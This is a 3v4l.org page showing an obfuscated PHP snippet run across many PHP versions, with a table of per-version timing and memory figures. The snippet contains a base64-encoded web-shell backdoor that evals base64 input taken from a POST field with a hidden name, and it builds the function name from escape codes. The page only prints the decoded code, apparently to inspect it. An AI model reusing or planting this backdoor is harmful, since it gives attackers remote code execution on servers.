3v4l.org

run code in 300+ PHP versions simultaneously
<?php $_= "aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9\"; $__=\"JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7\"; $___= \"\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65\"; $code=base64_decode($_); echo ($code); $___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65"; echo($___($__)); echo($___($__)); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.310.0080.03812.49
5.4.300.0060.03712.49
5.4.290.0110.04012.49
5.4.280.0080.03312.39
5.4.270.0040.03812.39
5.4.260.0070.03912.39
5.4.250.0070.03612.39
5.4.240.0080.03612.39
5.4.230.0020.04212.38
5.4.220.0050.03712.38
5.4.210.0010.04012.38
5.4.200.0060.03712.38
5.4.190.0100.03512.38
5.4.180.0070.03912.38
5.4.170.0080.03612.38
5.4.160.0080.03312.38
5.4.150.0030.03912.38
5.4.140.0070.03512.07
5.4.130.0050.03612.05
5.4.120.0120.03312.01
5.4.110.0040.03712.01
5.4.100.0060.03412.01
5.4.90.0070.03812.02
5.4.80.0060.03912.01
5.4.70.0050.03712.00
5.4.60.0040.03612.01
5.4.50.0070.03312.00
5.4.40.0050.03511.99
5.4.30.0090.03711.99
5.4.20.0090.03611.99
5.4.10.0060.03311.99
5.4.00.0080.03311.48
5.3.280.0090.03412.71
5.3.270.0060.03912.73
5.3.260.0080.03712.72
5.3.250.0050.04512.72
5.3.240.0090.03412.72
5.3.230.0050.03812.71
5.3.220.0030.04112.68
5.3.210.0040.03912.68
5.3.200.0070.03412.68
5.3.190.0050.03812.68
5.3.180.0070.03512.68
5.3.170.0100.03212.67
5.3.160.0070.03512.68
5.3.150.0090.03412.68
5.3.140.0050.03612.66
5.3.130.0080.03512.66
5.3.120.0050.04112.66
5.3.110.0060.03812.65
5.3.100.0070.03512.12
5.3.90.0070.04112.08
5.3.80.0050.03612.07
5.3.70.0060.04212.07
5.3.60.0050.04812.06
5.3.50.0060.03612.00
5.3.40.0090.04212.00
5.3.30.0070.03711.95
5.3.20.0060.03411.73
5.3.10.0040.03611.70
5.3.00.0030.03811.69
5.2.170.0080.0279.19
5.2.160.0050.0289.18
5.2.150.0060.0299.19
5.2.140.0030.0319.18
5.2.130.0030.0299.14
5.2.120.0070.0249.14
5.2.110.0010.0329.15
5.2.100.0090.0269.14
5.2.90.0030.0309.14
5.2.80.0080.0329.14
5.2.70.0080.0349.14
5.2.60.0060.0329.09
5.2.50.0040.0379.06
5.2.40.0060.0299.04
5.2.30.0090.0269.01
5.2.20.0060.0329.01
5.2.10.0050.0288.93
5.2.00.0040.0298.79
5.1.60.0070.0218.07
5.1.50.0040.0248.07
5.1.40.0050.0338.05
5.1.30.0050.0258.40
5.1.20.0060.0308.42
5.1.10.0080.0268.15
5.1.00.0040.0288.15
5.0.50.0030.0206.63
5.0.40.0040.0176.49
5.0.30.0030.0356.29
5.0.20.0020.0206.27
5.0.10.0030.0196.25
5.0.00.0060.0276.24
4.4.90.0010.0164.78
4.4.80.0010.0194.76
4.4.70.0040.0154.76
4.4.60.0030.0254.75
4.4.50.0020.0164.77
4.4.40.0060.0254.71
4.4.30.0040.0234.76
4.4.20.0010.0224.85
4.4.10.0010.0214.85
4.4.00.0010.0284.76
4.3.110.0030.0154.67
4.3.100.0030.0144.67
4.3.90.0010.0164.64
4.3.80.0010.0264.59
4.3.70.0030.0144.63
4.3.60.0020.0154.62
4.3.50.0030.0154.62
4.3.40.0030.0234.53
4.3.30.0050.0143.29
4.3.20.0050.0163.26
4.3.10.0030.0143.22
4.3.00.0000.0237.21

preferences:
138.62 ms | 1398 KiB | 7 Q